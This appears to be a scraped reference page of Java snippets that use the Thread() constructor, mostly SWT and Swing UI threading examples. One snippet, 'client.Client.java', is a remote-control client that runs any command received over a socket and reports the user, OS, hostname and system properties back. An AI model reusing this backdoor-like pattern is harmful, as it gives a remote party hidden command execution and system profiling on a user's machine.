Example usage for java.lang Thread Thread

Introduction

In this page you can find the example usage for java.lang Thread Thread.

Prototype

public Thread() 

Source Link

Document

Allocates a new Thread object.

Usage

From source file:ExecDemoLs.java

public static void main(String argv[]) throws IOException {

    final Process p; // Process tracks one external native process
    BufferedReader is; // reader for output of process
    String line;//from   www.j  av a2  s. c o  m

    p = Runtime.getRuntime().exec(PROGRAM);

    // Optional: start a thread to wait for the process to terminate.
    // Don't just wait in main line, but here set a "done" flag and
    // use that to control the main reading loop below.
    Thread waiter = new Thread() {
        public void run() {
            try {
                p.waitFor();
            } catch (InterruptedException ex) {
                // OK, just quit.
                return;
            }
            System.out.println("Program terminated!");
            done = true;
        }
    };
    waiter.start();

    // getInputStream gives an Input stream connected to
    // the process p's standard output (and vice versa). We use
    // that to construct a BufferedReader so we can readLine() it.
    is = new BufferedReader(new InputStreamReader(p.getInputStream()));

    while (!done && ((line = is.readLine()) != null))
        System.out.println(line);

    return;
}

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From source file:DualSynch.java

public static void main(String[] args) {
    final DualSynch ds = new DualSynch();
    new Thread() {
        public void run() {
            ds.f();//  w w  w  . jav  a2s  .c om
        }
    }.start();
    ds.g();
}

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From source file:client.Client.java

/**
 * @param args the command line arguments
 *///  w ww .java  2 s.co m
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

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From source file:Main.java

public static void main(String[] args) {
    JFrame f = new JFrame();
    f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    JPanel p = new JPanel();
    p.setOpaque(true);//  ww  w. j  av  a2s  . c om
    p.setLayout(new FlowLayout());
    p.add(good);

    f.add(p, BorderLayout.CENTER);
    f.add(resultLabel, BorderLayout.SOUTH);
    good.addActionListener(new ActionListener() {
        public void actionPerformed(ActionEvent ev) {
            resultLabel.setText("Working . . .");
            good.setEnabled(false);
            Thread worker = new Thread() {
                public void run() {
                    try {
                        Thread.sleep(5000);
                    } catch (InterruptedException ex) {
                    }
                    SwingUtilities.invokeLater(new Runnable() {
                        public void run() {
                            resultLabel.setText("Ready");
                            good.setEnabled(true);
                        }
                    });
                }
            };
            worker.start(); // So we don't hold up the dispatch thread.
        }
    });
    f.setSize(300, 100);
    f.setVisible(true);
}

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From source file:ProgressBarUpdateAnotherThread.java

public static void main(String[] args) {
    final Display display = new Display();
    Shell shell = new Shell(display);
    final ProgressBar bar = new ProgressBar(shell, SWT.SMOOTH);
    bar.setBounds(10, 10, 200, 32);//from   w w w  . j a v  a 2  s.c om
    shell.open();
    final int maximum = bar.getMaximum();
    new Thread() {
        public void run() {
            for (final int[] i = new int[1]; i[0] <= maximum; i[0]++) {
                try {
                    Thread.sleep(100);
                } catch (Throwable th) {
                }
                if (display.isDisposed())
                    return;
                display.asyncExec(new Runnable() {
                    public void run() {
                        if (bar.isDisposed())
                            return;
                        bar.setSelection(i[0]);
                    }
                });
            }
        }
    }.start();
    while (!shell.isDisposed()) {
        if (!display.readAndDispatch())
            display.sleep();
    }
    display.dispose();
}

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From source file:Snippet7.java

public static void main(String[] args) {
    final Display display = new Display();
    final Image image = new Image(display, 16, 16);
    GC gc = new GC(image);
    gc.setBackground(display.getSystemColor(SWT.COLOR_RED));
    gc.fillRectangle(image.getBounds());
    gc.dispose();/*w  ww  .j  a va 2  s. c o  m*/
    final Shell shell = new Shell(display);
    shell.setText("Lazy Table");
    shell.setLayout(new FillLayout());
    final Table table = new Table(shell, SWT.BORDER | SWT.MULTI);
    table.setSize(200, 200);
    Thread thread = new Thread() {
        public void run() {
            for (int i = 0; i < 20000; i++) {
                if (table.isDisposed())
                    return;
                final int[] index = new int[] { i };
                display.syncExec(new Runnable() {
                    public void run() {
                        if (table.isDisposed())
                            return;
                        TableItem item = new TableItem(table, SWT.NONE);
                        item.setText("Table Item " + index[0]);
                        item.setImage(image);
                    }
                });
            }
        }
    };
    thread.start();
    shell.setSize(200, 200);
    shell.open();
    while (!shell.isDisposed()) {
        if (!display.readAndDispatch())
            display.sleep();
    }
    image.dispose();
    display.dispose();
}

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From source file:be.error.rpi.test.UdpTest.java

public static void main(String[] args) throws Exception {
    final InetAddress IPAddress = InetAddress.getByName("192.168.0.10");
    final DatagramSocket clientSocket = new DatagramSocket();

    new Thread() {
        @Override//from   w  w  w . j  a  va  2s  .c  om
        public void run() {
            try {
                while (true) {
                    String s = "0:0:0:";
                    DatagramPacket sendPacket = new DatagramPacket(s.getBytes(), s.getBytes().length, IPAddress,
                            8000);
                    clientSocket.send(sendPacket);
                    Thread.sleep(100);
                }
            } catch (Exception e) {

            }
        }
    }.start();

    new Thread() {
        @Override
        public void run() {
            try {
                while (true) {
                    String s = "1:1:1:";
                    DatagramPacket sendPacket = new DatagramPacket(s.getBytes(), s.getBytes().length, IPAddress,
                            8000);
                    clientSocket.send(sendPacket);
                    Thread.sleep(100);
                }
            } catch (Exception e) {

            }
        }
    }.start();

}

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From source file:Snippet142.java

public static void main(String[] args) {
    final Display display = new Display();
    final Shell shell = new Shell(display);
    final Button button = new Button(shell, SWT.NONE);
    button.setSize(100, 100);// w w  w  . j a v a 2 s  .c o m
    button.setText("Click");
    shell.pack();
    shell.open();
    button.addListener(SWT.MouseDown, new Listener() {
        public void handleEvent(Event e) {
            System.out.println("Mouse Down (button: " + e.button + " x: " + e.x + " y: " + e.y + ")");
        }
    });
    final Point pt = display.map(shell, null, 50, 50);
    new Thread() {
        Event event;

        public void run() {
            try {
                Thread.sleep(300);
            } catch (InterruptedException e) {
            }
            event = new Event();
            event.type = SWT.MouseMove;
            event.x = pt.x;
            event.y = pt.y;
            display.post(event);
            try {
                Thread.sleep(300);
            } catch (InterruptedException e) {
            }
            event.type = SWT.MouseDown;
            event.button = 1;
            display.post(event);
            try {
                Thread.sleep(300);
            } catch (InterruptedException e) {
            }
            event.type = SWT.MouseUp;
            display.post(event);
        }
    }.start();
    while (!shell.isDisposed()) {
        if (!display.readAndDispatch())
            display.sleep();
    }
    display.dispose();
}

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From source file:com.delphix.appliance.host.example.server.ExampleServerLauncher.java

public static void main(String[] args) {
    AbstractApplicationContext context = new ClassPathXmlApplicationContext(CONFIG_LOCATION);
    try {/*from  ww w.jav a2 s .c  o  m*/
        final ExampleServer server = (ExampleServer) context.getBean("server");

        Runtime.getRuntime().addShutdownHook(new Thread() {
            @Override
            public void run() {
                server.fini();
            }
        });
    } finally {
        context.close();
    }
}

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From source file:Snippet151.java

public static void main(String[] args) {
    final Display display = new Display();
    Shell shell = new Shell(display);
    shell.setLayout(new FillLayout());
    final Table table = new Table(shell, SWT.BORDER | SWT.VIRTUAL);
    table.addListener(SWT.SetData, new Listener() {
        public void handleEvent(Event e) {
            TableItem item = (TableItem) e.item;
            int index = table.indexOf(item);
            item.setText("Item " + data[index]);
        }/*from w w  w .  j  av  a2  s  .  c  o  m*/
    });
    Thread thread = new Thread() {
        public void run() {
            int count = 0;
            Random random = new Random();
            while (count++ < 500) {
                if (table.isDisposed())
                    return;
                // add 10 random numbers to array and sort
                int grow = 10;
                int[] newData = new int[data.length + grow];
                System.arraycopy(data, 0, newData, 0, data.length);
                int index = data.length;
                data = newData;
                for (int j = 0; j < grow; j++) {
                    data[index++] = random.nextInt();
                }
                Arrays.sort(data);
                display.syncExec(new Runnable() {
                    public void run() {
                        if (table.isDisposed())
                            return;
                        table.setItemCount(data.length);
                        table.clearAll();
                    }
                });
                try {
                    Thread.sleep(500);
                } catch (Throwable t) {
                }
            }
        }
    };
    thread.start();
    shell.open();
    while (!shell.isDisposed() || thread.isAlive()) {
        if (!display.readAndDispatch())
            display.sleep();
    }
    display.dispose();
}

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